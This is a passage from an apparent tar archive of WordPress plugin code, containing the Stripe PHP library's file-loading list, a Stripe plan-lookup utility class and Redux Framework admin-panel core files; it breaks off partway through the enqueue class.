. '/lib/Util/DefaultLogger.php'; require __DIR__ . '/lib/Util/RandomGenerator.php'; require __DIR__ . '/lib/Util/RequestOptions.php'; require __DIR__ . '/lib/Util/Set.php'; require __DIR__ . '/lib/Util/Util.php'; require __DIR__ . '/lib/Util/ObjectTypes.php'; // HttpClient require __DIR__ . '/lib/HttpClient/ClientInterface.php'; require __DIR__ . '/lib/HttpClient/StreamingClientInterface.php'; require __DIR__ . '/lib/HttpClient/CurlClient.php'; // Exceptions require __DIR__ . '/lib/Exception/ExceptionInterface.php'; require __DIR__ . '/lib/Exception/ApiErrorException.php'; require __DIR__ . '/lib/Exception/ApiConnectionException.php'; require __DIR__ . '/lib/Exception/AuthenticationException.php'; require __DIR__ . '/lib/Exception/BadMethodCallException.php'; require __DIR__ . '/lib/Exception/CardException.php'; require __DIR__ . '/lib/Exception/IdempotencyException.php'; require __DIR__ . '/lib/Exception/InvalidArgumentException.php'; require __DIR__ . '/lib/Exception/InvalidRequestException.php'; require __DIR__ . '/lib/Exception/PermissionException.php'; require __DIR__ . '/lib/Exception/RateLimitException.php'; require __DIR__ . '/lib/Exception/SignatureVerificationException.php'; require __DIR__ . '/lib/Exception/UnexpectedValueException.php'; require __DIR__ . '/lib/Exception/UnknownApiErrorException.php'; // OAuth exceptions require __DIR__ . '/lib/Exception/OAuth/ExceptionInterface.php'; require __DIR__ . '/lib/Exception/OAuth/OAuthErrorException.php'; require __DIR__ . '/lib/Exception/OAuth/InvalidClientException.php'; require __DIR__ . '/lib/Exception/OAuth/InvalidGrantException.php'; require __DIR__ . '/lib/Exception/OAuth/InvalidRequestException.php'; require __DIR__ . '/lib/Exception/OAuth/InvalidScopeException.php'; require __DIR__ . '/lib/Exception/OAuth/UnknownOAuthErrorException.php'; require __DIR__ . '/lib/Exception/OAuth/UnsupportedGrantTypeException.php'; require __DIR__ . '/lib/Exception/OAuth/UnsupportedResponseTypeException.php'; // API operations require __DIR__ . '/lib/ApiOperations/All.php'; require __DIR__ . '/lib/ApiOperations/Create.php'; require __DIR__ . '/lib/ApiOperations/Delete.php'; require __DIR__ . '/lib/ApiOperations/NestedResource.php'; require __DIR__ . '/lib/ApiOperations/Request.php'; require __DIR__ . '/lib/ApiOperations/Retrieve.php'; require __DIR__ . '/lib/ApiOperations/Search.php'; require __DIR__ . '/lib/ApiOperations/SingletonRetrieve.php'; require __DIR__ . '/lib/ApiOperations/Update.php'; // Plumbing require __DIR__ . '/lib/ApiResponse.php'; require __DIR__ . '/lib/RequestTelemetry.php'; require __DIR__ . '/lib/StripeObject.php'; require __DIR__ . '/lib/ApiRequestor.php'; require __DIR__ . '/lib/ApiResource.php'; require __DIR__ . '/lib/SingletonApiResource.php'; require __DIR__ . '/lib/Service/AbstractService.php'; require __DIR__ . '/lib/Service/AbstractServiceFactory.php'; require __DIR__ . '/lib/Collection.php'; require __DIR__ . '/lib/SearchResult.php'; require __DIR__ . '/lib/ErrorObject.php'; require __DIR__ . '/lib/Issuing/CardDetails.php'; // StripeClient require __DIR__ . '/lib/BaseStripeClientInterface.php'; require __DIR__ . '/lib/StripeClientInterface.php'; require __DIR__ . '/lib/StripeStreamingClientInterface.php'; require __DIR__ . '/lib/BaseStripeClient.php'; require __DIR__ . '/lib/StripeClient.php'; // The beginning of the section generated from our OpenAPI spec require __DIR__ . '/lib/Account.php'; require __DIR__ . '/lib/AccountLink.php'; require __DIR__ . '/lib/AccountSession.php'; require __DIR__ . '/lib/ApplePayDomain.php'; require __DIR__ . '/lib/Application.php'; require __DIR__ . '/lib/ApplicationFee.php'; require __DIR__ . '/lib/ApplicationFeeRefund.php'; require __DIR__ . '/lib/Apps/Secret.php'; require __DIR__ . '/lib/Balance.php'; require __DIR__ . '/lib/BalanceTransaction.php'; require __DIR__ . '/lib/BankAccount.php'; require __DIR__ . '/lib/Billing/Meter.php'; require __DIR__ . '/lib/Billing/MeterEvent.php'; require __DIR__ . '/lib/Billing/MeterEventAdjustment.php'; require __DIR__ . '/lib/Billing/MeterEventSummary.php'; require __DIR__ . '/lib/BillingPortal/Configuration.php'; require __DIR__ . '/lib/BillingPortal/Session.php'; require __DIR__ . '/lib/Capability.php'; require __DIR__ . '/lib/Card.php'; require __DIR__ . '/lib/CashBalance.php'; require __DIR__ . '/lib/Charge.php'; require __DIR__ . '/lib/Checkout/Session.php'; require __DIR__ . '/lib/Climate/Order.php'; require __DIR__ . '/lib/Climate/Product.php'; require __DIR__ . '/lib/Climate/Supplier.php'; require __DIR__ . '/lib/ConfirmationToken.php'; require __DIR__ . '/lib/ConnectCollectionTransfer.php'; require __DIR__ . '/lib/CountrySpec.php'; require __DIR__ . '/lib/Coupon.php'; require __DIR__ . '/lib/CreditNote.php'; require __DIR__ . '/lib/CreditNoteLineItem.php'; require __DIR__ . '/lib/Customer.php'; require __DIR__ . '/lib/CustomerBalanceTransaction.php'; require __DIR__ . '/lib/CustomerCashBalanceTransaction.php'; require __DIR__ . '/lib/CustomerSession.php'; require __DIR__ . '/lib/Discount.php'; require __DIR__ . '/lib/Dispute.php'; require __DIR__ . '/lib/Entitlements/ActiveEntitlement.php'; require __DIR__ . '/lib/Entitlements/ActiveEntitlementSummary.php'; require __DIR__ . '/lib/Entitlements/Feature.php'; require __DIR__ . '/lib/EphemeralKey.php'; require __DIR__ . '/lib/Event.php'; require __DIR__ . '/lib/ExchangeRate.php'; require __DIR__ . '/lib/File.php'; require __DIR__ . '/lib/FileLink.php'; require __DIR__ . '/lib/FinancialConnections/Account.php'; require __DIR__ . '/lib/FinancialConnections/AccountOwner.php'; require __DIR__ . '/lib/FinancialConnections/AccountOwnership.php'; require __DIR__ . '/lib/FinancialConnections/Session.php'; require __DIR__ . '/lib/FinancialConnections/Transaction.php'; require __DIR__ . '/lib/Forwarding/Request.php'; require __DIR__ . '/lib/FundingInstructions.php'; require __DIR__ . '/lib/Identity/VerificationReport.php'; require __DIR__ . '/lib/Identity/VerificationSession.php'; require __DIR__ . '/lib/Invoice.php'; require __DIR__ . '/lib/InvoiceItem.php'; require __DIR__ . '/lib/InvoiceLineItem.php'; require __DIR__ . '/lib/Issuing/Authorization.php'; require __DIR__ . '/lib/Issuing/Card.php'; require __DIR__ . '/lib/Issuing/Cardholder.php'; require __DIR__ . '/lib/Issuing/Dispute.php'; require __DIR__ . '/lib/Issuing/PersonalizationDesign.php'; require __DIR__ . '/lib/Issuing/PhysicalBundle.php'; require __DIR__ . '/lib/Issuing/Token.php'; require __DIR__ . '/lib/Issuing/Transaction.php'; require __DIR__ . '/lib/LineItem.php'; require __DIR__ . '/lib/LoginLink.php'; require __DIR__ . '/lib/Mandate.php'; require __DIR__ . '/lib/PaymentIntent.php'; require __DIR__ . '/lib/PaymentLink.php'; require __DIR__ . '/lib/PaymentMethod.php'; require __DIR__ . '/lib/PaymentMethodConfiguration.php'; require __DIR__ . '/lib/PaymentMethodDomain.php'; require __DIR__ . '/lib/Payout.php'; require __DIR__ . '/lib/Person.php'; require __DIR__ . '/lib/Plan.php'; require __DIR__ . '/lib/Price.php'; require __DIR__ . '/lib/Product.php'; require __DIR__ . '/lib/ProductFeature.php'; require __DIR__ . '/lib/PromotionCode.php'; require __DIR__ . '/lib/Quote.php'; require __DIR__ . '/lib/Radar/EarlyFraudWarning.php'; require __DIR__ . '/lib/Radar/ValueList.php'; require __DIR__ . '/lib/Radar/ValueListItem.php'; require __DIR__ . '/lib/Refund.php'; require __DIR__ . '/lib/Reporting/ReportRun.php'; require __DIR__ . '/lib/Reporting/ReportType.php'; require __DIR__ . '/lib/ReserveTransaction.php'; require __DIR__ . '/lib/Review.php'; require __DIR__ . '/lib/Service/AccountLinkService.php'; require __DIR__ . '/lib/Service/AccountService.php'; require __DIR__ . '/lib/Service/AccountSessionService.php'; require __DIR__ . '/lib/Service/ApplePayDomainService.php'; require __DIR__ . '/lib/Service/ApplicationFeeService.php'; require __DIR__ . '/lib/Service/Apps/AppsServiceFactory.php'; require __DIR__ . '/lib/Service/Apps/SecretService.php'; require __DIR__ . '/lib/Service/BalanceService.php'; require __DIR__ . '/lib/Service/BalanceTransactionService.php'; require __DIR__ . '/lib/Service/Billing/BillingServiceFactory.php'; require __DIR__ . '/lib/Service/Billing/MeterEventAdjustmentService.php'; require __DIR__ . '/lib/Service/Billing/MeterEventService.php'; require __DIR__ . '/lib/Service/Billing/MeterService.php'; require __DIR__ . '/lib/Service/BillingPortal/BillingPortalServiceFactory.php'; require __DIR__ . '/lib/Service/BillingPortal/ConfigurationService.php'; require __DIR__ . '/lib/Service/BillingPortal/SessionService.php'; require __DIR__ . '/lib/Service/ChargeService.php'; require __DIR__ . '/lib/Service/Checkout/CheckoutServiceFactory.php'; require __DIR__ . '/lib/Service/Checkout/SessionService.php'; require __DIR__ . '/lib/Service/Climate/ClimateServiceFactory.php'; require __DIR__ . '/lib/Service/Climate/OrderService.php'; require __DIR__ . '/lib/Service/Climate/ProductService.php'; require __DIR__ . '/lib/Service/Climate/SupplierService.php'; require __DIR__ . '/lib/Service/ConfirmationTokenService.php'; require __DIR__ . '/lib/Service/CoreServiceFactory.php'; require __DIR__ . '/lib/Service/CountrySpecService.php'; require __DIR__ . '/lib/Service/CouponService.php'; require __DIR__ . '/lib/Service/CreditNoteService.php'; require __DIR__ . '/lib/Service/CustomerService.php'; require __DIR__ . '/lib/Service/CustomerSessionService.php'; require __DIR__ . '/lib/Service/DisputeService.php'; require __DIR__ . '/lib/Service/Entitlements/ActiveEntitlementService.php'; require __DIR__ . '/lib/Service/Entitlements/EntitlementsServiceFactory.php'; require __DIR__ . '/lib/Service/Entitlements/FeatureService.php'; require __DIR__ . '/lib/Service/EphemeralKeyService.php'; require __DIR__ . '/lib/Service/EventService.php'; require __DIR__ . '/lib/Service/ExchangeRateService.php'; require __DIR__ . '/lib/Service/FileLinkService.php'; require __DIR__ . '/lib/Service/FileService.php'; require __DIR__ . '/lib/Service/FinancialConnections/AccountService.php'; require __DIR__ . '/lib/Service/FinancialConnections/FinancialConnectionsServiceFactory.php'; require __DIR__ . '/lib/Service/FinancialConnections/SessionService.php'; require __DIR__ . '/lib/Service/FinancialConnections/TransactionService.php'; require __DIR__ . '/lib/Service/Forwarding/ForwardingServiceFactory.php'; require __DIR__ . '/lib/Service/Forwarding/RequestService.php'; require __DIR__ . '/lib/Service/Identity/IdentityServiceFactory.php'; require __DIR__ . '/lib/Service/Identity/VerificationReportService.php'; require __DIR__ . '/lib/Service/Identity/VerificationSessionService.php'; require __DIR__ . '/lib/Service/InvoiceItemService.php'; require __DIR__ . '/lib/Service/InvoiceService.php'; require __DIR__ . '/lib/Service/Issuing/AuthorizationService.php'; require __DIR__ . '/lib/Service/Issuing/CardService.php'; require __DIR__ . '/lib/Service/Issuing/CardholderService.php'; require __DIR__ . '/lib/Service/Issuing/DisputeService.php'; require __DIR__ . '/lib/Service/Issuing/IssuingServiceFactory.php'; require __DIR__ . '/lib/Service/Issuing/PersonalizationDesignService.php'; require __DIR__ . '/lib/Service/Issuing/PhysicalBundleService.php'; require __DIR__ . '/lib/Service/Issuing/TokenService.php'; require __DIR__ . '/lib/Service/Issuing/TransactionService.php'; require __DIR__ . '/lib/Service/MandateService.php'; require __DIR__ . '/lib/Service/PaymentIntentService.php'; require __DIR__ . '/lib/Service/PaymentLinkService.php'; require __DIR__ . '/lib/Service/PaymentMethodConfigurationService.php'; require __DIR__ . '/lib/Service/PaymentMethodDomainService.php'; require __DIR__ . '/lib/Service/PaymentMethodService.php'; require __DIR__ . '/lib/Service/PayoutService.php'; require __DIR__ . '/lib/Service/PlanService.php'; require __DIR__ . '/lib/Service/PriceService.php'; require __DIR__ . '/lib/Service/ProductService.php'; require __DIR__ . '/lib/Service/PromotionCodeService.php'; require __DIR__ . '/lib/Service/QuoteService.php'; require __DIR__ . '/lib/Service/Radar/EarlyFraudWarningService.php'; require __DIR__ . '/lib/Service/Radar/RadarServiceFactory.php'; require __DIR__ . '/lib/Service/Radar/ValueListItemService.php'; require __DIR__ . '/lib/Service/Radar/ValueListService.php'; require __DIR__ . '/lib/Service/RefundService.php'; require __DIR__ . '/lib/Service/Reporting/ReportRunService.php'; require __DIR__ . '/lib/Service/Reporting/ReportTypeService.php'; require __DIR__ . '/lib/Service/Reporting/ReportingServiceFactory.php'; require __DIR__ . '/lib/Service/ReviewService.php'; require __DIR__ . '/lib/Service/SetupAttemptService.php'; require __DIR__ . '/lib/Service/SetupIntentService.php'; require __DIR__ . '/lib/Service/ShippingRateService.php'; require __DIR__ . '/lib/Service/Sigma/ScheduledQueryRunService.php'; require __DIR__ . '/lib/Service/Sigma/SigmaServiceFactory.php'; require __DIR__ . '/lib/Service/SourceService.php'; require __DIR__ . '/lib/Service/SubscriptionItemService.php'; require __DIR__ . '/lib/Service/SubscriptionScheduleService.php'; require __DIR__ . '/lib/Service/SubscriptionService.php'; require __DIR__ . '/lib/Service/Tax/CalculationService.php'; require __DIR__ . '/lib/Service/Tax/RegistrationService.php'; require __DIR__ . '/lib/Service/Tax/SettingsService.php'; require __DIR__ . '/lib/Service/Tax/TaxServiceFactory.php'; require __DIR__ . '/lib/Service/Tax/TransactionService.php'; require __DIR__ . '/lib/Service/TaxCodeService.php'; require __DIR__ . '/lib/Service/TaxIdService.php'; require __DIR__ . '/lib/Service/TaxRateService.php'; require __DIR__ . '/lib/Service/Terminal/ConfigurationService.php'; require __DIR__ . '/lib/Service/Terminal/ConnectionTokenService.php'; require __DIR__ . '/lib/Service/Terminal/LocationService.php'; require __DIR__ . '/lib/Service/Terminal/ReaderService.php'; require __DIR__ . '/lib/Service/Terminal/TerminalServiceFactory.php'; require __DIR__ . '/lib/Service/TestHelpers/ConfirmationTokenService.php'; require __DIR__ . '/lib/Service/TestHelpers/CustomerService.php'; require __DIR__ . '/lib/Service/TestHelpers/Issuing/AuthorizationService.php'; require __DIR__ . '/lib/Service/TestHelpers/Issuing/CardService.php'; require __DIR__ . '/lib/Service/TestHelpers/Issuing/IssuingServiceFactory.php'; require __DIR__ . '/lib/Service/TestHelpers/Issuing/PersonalizationDesignService.php'; require __DIR__ . '/lib/Service/TestHelpers/Issuing/TransactionService.php'; require __DIR__ . '/lib/Service/TestHelpers/RefundService.php'; require __DIR__ . '/lib/Service/TestHelpers/Terminal/ReaderService.php'; require __DIR__ . '/lib/Service/TestHelpers/Terminal/TerminalServiceFactory.php'; require __DIR__ . '/lib/Service/TestHelpers/TestClockService.php'; require __DIR__ . '/lib/Service/TestHelpers/TestHelpersServiceFactory.php'; require __DIR__ . '/lib/Service/TestHelpers/Treasury/InboundTransferService.php'; require __DIR__ . '/lib/Service/TestHelpers/Treasury/OutboundPaymentService.php'; require __DIR__ . '/lib/Service/TestHelpers/Treasury/OutboundTransferService.php'; require __DIR__ . '/lib/Service/TestHelpers/Treasury/ReceivedCreditService.php'; require __DIR__ . '/lib/Service/TestHelpers/Treasury/ReceivedDebitService.php'; require __DIR__ . '/lib/Service/TestHelpers/Treasury/TreasuryServiceFactory.php'; require __DIR__ . '/lib/Service/TokenService.php'; require __DIR__ . '/lib/Service/TopupService.php'; require __DIR__ . '/lib/Service/TransferService.php'; require __DIR__ . '/lib/Service/Treasury/CreditReversalService.php'; require __DIR__ . '/lib/Service/Treasury/DebitReversalService.php'; require __DIR__ . '/lib/Service/Treasury/FinancialAccountService.php'; require __DIR__ . '/lib/Service/Treasury/InboundTransferService.php'; require __DIR__ . '/lib/Service/Treasury/OutboundPaymentService.php'; require __DIR__ . '/lib/Service/Treasury/OutboundTransferService.php'; require __DIR__ . '/lib/Service/Treasury/ReceivedCreditService.php'; require __DIR__ . '/lib/Service/Treasury/ReceivedDebitService.php'; require __DIR__ . '/lib/Service/Treasury/TransactionEntryService.php'; require __DIR__ . '/lib/Service/Treasury/TransactionService.php'; require __DIR__ . '/lib/Service/Treasury/TreasuryServiceFactory.php'; require __DIR__ . '/lib/Service/WebhookEndpointService.php'; require __DIR__ . '/lib/SetupAttempt.php'; require __DIR__ . '/lib/SetupIntent.php'; require __DIR__ . '/lib/ShippingRate.php'; require __DIR__ . '/lib/Sigma/ScheduledQueryRun.php'; require __DIR__ . '/lib/Source.php'; require __DIR__ . '/lib/SourceMandateNotification.php'; require __DIR__ . '/lib/SourceTransaction.php'; require __DIR__ . '/lib/Subscription.php'; require __DIR__ . '/lib/SubscriptionItem.php'; require __DIR__ . '/lib/SubscriptionSchedule.php'; require __DIR__ . '/lib/Tax/Calculation.php'; require __DIR__ . '/lib/Tax/CalculationLineItem.php'; require __DIR__ . '/lib/Tax/Registration.php'; require __DIR__ . '/lib/Tax/Settings.php'; require __DIR__ . '/lib/Tax/Transaction.php'; require __DIR__ . '/lib/Tax/TransactionLineItem.php'; require __DIR__ . '/lib/TaxCode.php'; require __DIR__ . '/lib/TaxDeductedAtSource.php'; require __DIR__ . '/lib/TaxId.php'; require __DIR__ . '/lib/TaxRate.php'; require __DIR__ . '/lib/Terminal/Configuration.php'; require __DIR__ . '/lib/Terminal/ConnectionToken.php'; require __DIR__ . '/lib/Terminal/Location.php'; require __DIR__ . '/lib/Terminal/Reader.php'; require __DIR__ . '/lib/TestHelpers/TestClock.php'; require __DIR__ . '/lib/Token.php'; require __DIR__ . '/lib/Topup.php'; require __DIR__ . '/lib/Transfer.php'; require __DIR__ . '/lib/TransferReversal.php'; require __DIR__ . '/lib/Treasury/CreditReversal.php'; require __DIR__ . '/lib/Treasury/DebitReversal.php'; require __DIR__ . '/lib/Treasury/FinancialAccount.php'; require __DIR__ . '/lib/Treasury/FinancialAccountFeatures.php'; require __DIR__ . '/lib/Treasury/InboundTransfer.php'; require __DIR__ . '/lib/Treasury/OutboundPayment.php'; require __DIR__ . '/lib/Treasury/OutboundTransfer.php'; require __DIR__ . '/lib/Treasury/ReceivedCredit.php'; require __DIR__ . '/lib/Treasury/ReceivedDebit.php'; require __DIR__ . '/lib/Treasury/Transaction.php'; require __DIR__ . '/lib/Treasury/TransactionEntry.php'; require __DIR__ . '/lib/UsageRecord.php'; require __DIR__ . '/lib/UsageRecordSummary.php'; require __DIR__ . '/lib/WebhookEndpoint.php'; // The end of the section generated from our OpenAPI spec // OAuth require __DIR__ . '/lib/OAuth.php'; require __DIR__ . '/lib/OAuthErrorObject.php'; require __DIR__ . '/lib/Service/OAuthService.php'; // Webhooks require __DIR__ . '/lib/Webhook.php'; require __DIR__ . '/lib/WebhookSignature.php'; �������������������������������������������������������������stripe-gateway/index.html���������������������������������������������������������������������������0000644�����������������00000000000�14720677707�0011515 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-util-functions.php���������������������������������������������������������������������������0000644�����������������00000002501�14720677707�0011563 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* Misc Utility Functions for the Stripe Gateway */ class StripeUtilFunctions { public static function get_stripe_plan_info($api_key, $plan_id) { SwpmMiscUtils::load_stripe_lib(); $stripe_err = ''; try { \Stripe\Stripe::setApiKey($api_key); $plan = \Stripe\Plan::retrieve($plan_id); } catch (\Stripe\Error\Authentication $e) { // Invalid secret key $stripe_err = $e->getMessage(); } catch (Exception $e) { //that's probably invalid plan ID or some other error $stripe_err = $e->getMessage(); } if (empty($stripe_err)) { //we proceed with getting plan details only if no errors occurred $plan_data['name'] = isset($plan->nickname) ? $plan->nickname : ''; $plan_data['amount'] = $plan->amount; $plan_data['currency'] = $plan->currency; $plan_data['interval'] = $plan->interval; $plan_data['interval_count'] = $plan->interval_count; $plan_data['trial_period_days'] = $plan->trial_period_days; return array('success' => true, 'plan_data' => $plan_data); } else { return array('success' => false, 'error_msg' => $stripe_err); } } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������index.html������������������������������������������������������������������������������������������0000644�����������������00000000000�14720677707�0006550 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/core/required.php�������������������������������������������������������������������0000644�����������������00000000616�14720701300�0013144 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( !defined ( 'ABSPATH' ) ) { exit; } if (!class_exists('reduxCoreRequired')){ class reduxCoreRequired { public $parent = null; public function __construct ($parent) { $this->parent = $parent; Redux_Functions::$_parent = $parent; /** * action 'redux/page/{opt_name}/' */ do_action( "redux/page/{$parent->args['opt_name']}/" ); } } }������������������������������������������������������������������������������������������������������������������redux-framework/core/panel.php����������������������������������������������������������������������0000644�����������������00000034660�14720701300�0012431 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'reduxCorePanel' ) ) { /** * Class reduxCorePanel */ class reduxCorePanel { /** * @var null */ public $parent = null; /** * @var null|string */ public $template_path = null; /** * @var null */ public $original_path = null; /** * Sets the path from the arg or via filter. Also calls the panel template function. * * @param $parent */ public function __construct( $parent ) { $this->parent = $parent; Redux_Functions::$_parent = $parent; $this->template_path = $this->original_path = ReduxFramework::$_dir . 'templates/panel/'; if ( ! empty( $this->parent->args['templates_path'] ) ) { $this->template_path = trailingslashit( $this->parent->args['templates_path'] ); } $this->template_path = trailingslashit( apply_filters( "redux/{$this->parent->args['opt_name']}/panel/templates_path", $this->template_path ) ); } public function init() { $this->panel_template(); } /** * Loads the panel templates where needed and provides the container for Redux */ private function panel_template() { if ( $this->parent->args['dev_mode'] ) { $this->template_file_check_notice(); } /** * action 'redux/{opt_name}/panel/before' */ do_action( "redux/{$this->parent->args['opt_name']}/panel/before" ); echo '<div class="wrap"><h2></h2></div>'; // Stupid hack for Wordpress alerts and warnings echo '<div class="clear"></div>'; echo '<div class="wrap">'; // Do we support JS? echo '<noscript><div class="no-js">' . __( 'Warning- This options panel will not work properly without javascript!', 'redux-framework' ) . '</div></noscript>'; // Security is vital! echo '<input type="hidden" id="ajaxsecurity" name="security" value="' . wp_create_nonce( 'redux_ajax_nonce' . $this->parent->args['opt_name'] ) . '" />'; /** * action 'redux-page-before-form-{opt_name}' * * @deprecated */ do_action( "redux-page-before-form-{$this->parent->args['opt_name']}" ); // Remove /** * action 'redux/page/{opt_name}/form/before' * * @param object $this ReduxFramework */ do_action( "redux/page/{$this->parent->args['opt_name']}/form/before", $this ); $this->get_template( 'container.tpl.php' ); /** * action 'redux-page-after-form-{opt_name}' * * @deprecated */ do_action( "redux-page-after-form-{$this->parent->args['opt_name']}" ); // REMOVE /** * action 'redux/page/{opt_name}/form/after' * * @param object $this ReduxFramework */ do_action( "redux/page/{$this->parent->args['opt_name']}/form/after", $this ); echo '<div class="clear"></div>'; echo '</div>'; if ( $this->parent->args['dev_mode'] == true ) { // if ( current_user_can( 'administrator' ) ) { // global $wpdb; // echo "<br /><pre>"; // print_r( $wpdb->queries ); // echo "</pre>"; // } echo '<br /><div class="redux-timer">' . get_num_queries() . ' queries in ' . timer_stop( 0 ) . ' seconds<br/>Redux is currently set to developer mode.</div>'; } /** * action 'redux/{opt_name}/panel/after' */ do_action( "redux/{$this->parent->args['opt_name']}/panel/after" ); } /** * Calls the various notification bars and sets the appropriate templates. */ function notification_bar() { if ( isset( $this->parent->transients['last_save_mode'] ) ) { if ( $this->parent->transients['last_save_mode'] == "import" ) { /** * action 'redux/options/{opt_name}/import' * * @param object $this ReduxFramework */ do_action( "redux/options/{$this->parent->args['opt_name']}/import", $this, $this->parent->transients['changed_values'] ); /** * filter 'redux-imported-text-{opt_name}' * * @param string translated "settings imported" text */ echo '<div class="admin-notice notice-blue saved_notice"><strong>' . apply_filters( "redux-imported-text-{$this->parent->args['opt_name']}", __( 'Settings Imported!', 'redux-framework' ) ) . '</strong></div>'; //exit(); } else if ( $this->parent->transients['last_save_mode'] == "defaults" ) { /** * action 'redux/options/{opt_name}/reset' * * @param object $this ReduxFramework */ do_action( "redux/options/{$this->parent->args['opt_name']}/reset", $this ); /** * filter 'redux-defaults-text-{opt_name}' * * @param string translated "settings imported" text */ echo '<div class="saved_notice admin-notice notice-yellow"><strong>' . apply_filters( "redux-defaults-text-{$this->parent->args['opt_name']}", __( 'All Defaults Restored!', 'redux-framework' ) ) . '</strong></div>'; } else if ( $this->parent->transients['last_save_mode'] == "defaults_section" ) { /** * action 'redux/options/{opt_name}/section/reset' * * @param object $this ReduxFramework */ do_action( "redux/options/{$this->parent->args['opt_name']}/section/reset", $this ); /** * filter 'redux-defaults-section-text-{opt_name}' * * @param string translated "settings imported" text */ echo '<div class="saved_notice admin-notice notice-yellow"><strong>' . apply_filters( "redux-defaults-section-text-{$this->parent->args['opt_name']}", __( 'Section Defaults Restored!', 'redux-framework' ) ) . '</strong></div>'; } else if ( $this->parent->transients['last_save_mode'] == "normal" ) { /** * action 'redux/options/{opt_name}/saved' * * @param mixed $value set/saved option value */ do_action( "redux/options/{$this->parent->args['opt_name']}/saved", $this->parent->options, $this->parent->transients['changed_values'] ); /** * filter 'redux-saved-text-{opt_name}' * * @param string translated "settings saved" text */ echo '<div class="saved_notice admin-notice notice-green">' . apply_filters( "redux-saved-text-{$this->parent->args['opt_name']}", '<strong>'.__( 'Settings Saved!', 'redux-framework' ) ).'</strong>' . '</div>'; } unset( $this->parent->transients['last_save_mode'] ); //$this->parent->transients['last_save_mode'] = 'remove'; $this->parent->set_transients(); } /** * action 'redux/options/{opt_name}/settings/changes' * * @param mixed $value set/saved option value */ do_action( "redux/options/{$this->parent->args['opt_name']}/settings/change", $this->parent->options, $this->parent->transients['changed_values'] ); /** * filter 'redux-changed-text-{opt_name}' * * @param string translated "settings have changed" text */ echo '<div class="redux-save-warn notice-yellow"><strong>' . apply_filters( "redux-changed-text-{$this->parent->args['opt_name']}", __( 'Settings have changed, you should save them!', 'redux-framework' ) ) . '</strong></div>'; /** * action 'redux/options/{opt_name}/errors' * * @param array $this ->errors error information */ do_action( "redux/options/{$this->parent->args['opt_name']}/errors", $this->parent->errors ); echo '<div class="redux-field-errors notice-red"><strong><span></span> ' . __( 'error(s) were found!', 'redux-framework' ) . '</strong></div>'; /** * action 'redux/options/{opt_name}/warnings' * * @param array $this ->warnings warning information */ do_action( "redux/options/{$this->parent->args['opt_name']}/warnings", $this->parent->warnings ); echo '<div class="redux-field-warnings notice-yellow"><strong><span></span> ' . __( 'warning(s) were found!', 'redux-framework' ) . '</strong></div>'; } /** * Used to intitialize the settings fields for this panel. Required for saving and redirect. */ function init_settings_fields() { // Must run or the page won't redirect properly settings_fields( "{$this->parent->args['opt_name']}_group" ); } /** * Used to select the proper template. If it doesn't exist in the path, then the original template file is used. * * @param $file */ function get_template( $file ) { if ( empty( $file ) ) { return; } if ( file_exists( $this->template_path . $file ) ) { $path = $this->template_path . $file; } else { $path = $this->original_path . $file; } do_action( "redux/{$this->parent->args['opt_name']}/panel/template/" . $file . '/before' ); $path = apply_filters( "redux/{$this->parent->args['opt_name']}/panel/template/" . $file, $path ); do_action( "redux/{$this->parent->args['opt_name']}/panel/template/" . $file . '/after' ); require $path; } /** * Scan the template files * * @param string $template_path * * @return array */ public function scan_template_files( $template_path ) { $files = scandir( $template_path ); $result = array(); if ( $files ) { foreach ( $files as $key => $value ) { if ( ! in_array( $value, array( ".", ".." ) ) ) { if ( is_dir( $template_path . DIRECTORY_SEPARATOR . $value ) ) { $sub_files = self::scan_template_files( $template_path . DIRECTORY_SEPARATOR . $value ); foreach ( $sub_files as $sub_file ) { $result[] = $value . DIRECTORY_SEPARATOR . $sub_file; } } else { $result[] = $value; } } } } return $result; } /** * Show a notice highlighting bad template files */ public function template_file_check_notice() { if ( $this->template_path == $this->original_path ) { return; } $core_templates = $this->scan_template_files( $this->original_path ); $outdated = false; foreach ( $core_templates as $file ) { $developer_theme_file = false; if ( file_exists( $this->template_path . $file ) ) { $developer_theme_file = $this->template_path . $file; } if ( $developer_theme_file ) { $core_version = Redux_Helpers::get_template_version( $this->original_path . $file ); $developer_version = Redux_Helpers::get_template_version( $developer_theme_file ); if ( $core_version && $developer_version && version_compare( $developer_version, $core_version, '<' ) ) { ?> <div id="message" class="error redux-message"> <p><?php _e( '<strong>Your panel has bundled outdated copies of Redux Framework template files</strong> – if you encounter functionality issues this could be the reason. Ensure you update or remove them.', 'redux-framework' ); ?></p> </div> <?php return; } } } } /** * Outputs the HTML for a given section using the WordPress settings API. * * @param $k - Section number of settings panel to display */ function output_section( $k ) { do_settings_sections( $this->parent->args['opt_name'] . $k . '_section_group' ); } } }��������������������������������������������������������������������������������redux-framework/core/enqueue.php��������������������������������������������������������������������0000644�����������������00000055726�14720701300�0013007 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'reduxCoreEnqueue' ) ) { class reduxCoreEnqueue { public $parent = null; private $min = ''; private $timestamp = ''; public function __construct( $parent ) { $this->parent = $parent; Redux_Functions::$_parent = $parent; } public function init() { $this->min = Redux_Functions::isMin(); $this->timestamp = ReduxFramework::$_version; if ( $this->parent->args['dev_mode'] ) { $this->timestamp .= '.' . time(); } $this->register_styles(); $this->register_scripts(); add_thickbox(); $this->enqueue_fields(); add_filter("redux/{$this->parent->args['opt_name']}/localize", array('Redux_Helpers', 'localize')); $this->set_localized_data(); /** * action 'redux-enqueue-{opt_name}' * * @deprecated * * @param object $this ReduxFramework */ do_action( "redux-enqueue-{$this->parent->args['opt_name']}", $this->parent ); // REMOVE /** * action 'redux/page/{opt_name}/enqueue' */ do_action( 